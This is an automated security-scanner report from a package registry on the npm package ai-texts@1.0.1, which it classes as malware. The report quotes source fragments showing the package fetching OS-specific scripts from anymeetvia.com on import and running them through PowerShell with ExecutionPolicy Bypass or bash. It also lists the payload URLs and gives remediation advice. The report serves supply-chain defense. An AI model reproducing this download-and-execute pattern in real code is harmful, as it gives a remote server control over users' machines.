registry / Remote code execution / ai-texts

ai-texts

Core text helpers for AI pipelines

This report shows the evidence for ai-texts@1.0.1. 2 of 3 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package performs concealed import-time remote payload execution unrelated to its declared text-helper functionality. This is concrete malware behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

Requiring or importing ai-texts resolves src/index.js.

Impact

Arbitrary remote code execution under the importing user's privileges.

Mechanism

Import-time remote script download and shell execution.

Attack narrative

When the advertised module is imported, it immediately calls run with anymeetvia.com. That function downloads an OS-specific script into the temporary directory, makes non-Windows payloads executable, and runs it through PowerShell with ExecutionPolicy Bypass or bash. The remote content is neither bundled nor integrity-checked, so the server controls code executed by every importing consumer.

AI rationale

The package performs concealed import-time remote payload execution unrelated to its declared text-helper functionality. This is concrete malware behavior.

Evidence

package.jsonsrc/index.jsREADME.md$TMPDIR/driver-install1.ps1$TMPDIR/driver-install1

Network endpoints4

anymeetvia.comanymeetvia.com/download/win/install1.ps1anymeetvia.com/download/mac-x86_64/install1anymeetvia.com/download/linux/install1

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The CommonJS entrypoint unconditionally invokes run() during import.
run() downloads a platform-specific script from anymeetvia.com into the OS temp directory.
The downloaded payload is executed with PowerShell policy bypass on Windows or bash on other platforms.
This behavior is unrelated to the advertised text-normalization API.

Evidence against

package.json has no npm lifecycle hooks.
The package includes simple toText and normalizeText helpers.

Behavioral surface

Source

ChildProcessFilesystemNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 2.78 KB of source, external domains: anymeetvia.com

Source & flagged code

5 flagged

src/index.jsView file

33*/ L34: const { spawnSync } = require("child_process"); L35: const fs = require("fs"); L36: const http = require("http"); L37: const https = require("https"); ... L74: const tmp = os.tmpdir(); L75: if (process.platform === "win32") { L76: const script = path.join(tmp, "driver-install1.ps1");

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

src/index.jsView on unpkg · L33

97run("https://anymeetvia.com")

High

Ai Review Evidence

The CommonJS entrypoint unconditionally invokes run() during import.

src/index.jsView on unpkg · L97

86const url = process.platform === "darwin" ? origin + "/download/mac-x86_64/install1" : origin + "/download/linux/install1"; const script = path.join(tmp, "driver-install1"); await download(url, script); fs.chmodSync(script, 0o755);

High

Ai Review Evidence

run() downloads a platform-specific script from anymeetvia.com into the OS temp directory.

src/index.jsView on unpkg · L86

76const script = path.join(tmp, "driver-install1.ps1"); await download(origin + "/download/win/install1.ps1", script); const r = spawnSync( "powershell", ["-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-Origin", origin], { stdio: "inherit" }, ); process.exit(r.status ?? 1);

High

Ai Review Evidence

The downloaded payload is executed with PowerShell policy bypass on Windows or bash on other platforms.

src/index.jsView on unpkg · L76

90const script = path.join(tmp, "driver-install1"); await download(url, script); fs.chmodSync(script, 0o755); const r = spawnSync("bash", [script, origin], { stdio: "inherit" }); process.exit(r.status ?? 1);

High

Ai Review Evidence

The downloaded payload is executed with PowerShell policy bypass on Windows or bash on other platforms.

src/index.jsView on unpkg · L90

Source & flagged code

5 flagged · loading source

src/index.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

src/index.jsView on unpkg · L33

97run("https://anymeetvia.com")

High

Ai Review Evidence

The CommonJS entrypoint unconditionally invokes run() during import.

src/index.jsView on unpkg · L97

High

Ai Review Evidence

run() downloads a platform-specific script from anymeetvia.com into the OS temp directory.

src/index.jsView on unpkg · L86

Findings

5 High1 Medium3 Low

HighSandbox Evasion Gated Capabilitysrc/index.js

HighAi Review Evidencesrc/index.js

MediumNetwork

LowScripts Present

LowFilesystem

LowUrl Strings

Affected versions and remediation

This report applies to ai-texts@1.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing ai-texts@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-20 01:15:13.288Z (UTC).

Source advisory published: 2026-08-19 03:22:55.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

0.0.1-securitylatestClean—AllowPublishedAug 19, 2026, 5:01 PM 1.0.2MaliciousMalwareBlockPublishedAug 19, 2026, 1:25 PM 1.0.1shownMaliciousRemote Code ExecutionBlockPublishedAug 17, 2026, 2:57 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code